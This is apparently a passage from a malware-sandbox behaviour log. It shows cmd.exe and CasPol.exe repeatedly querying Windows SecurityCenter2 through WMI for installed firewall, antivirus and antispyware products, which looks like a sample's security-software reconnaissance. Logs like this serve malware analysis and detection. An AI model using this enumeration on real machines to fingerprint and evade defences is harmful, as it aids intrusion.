Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
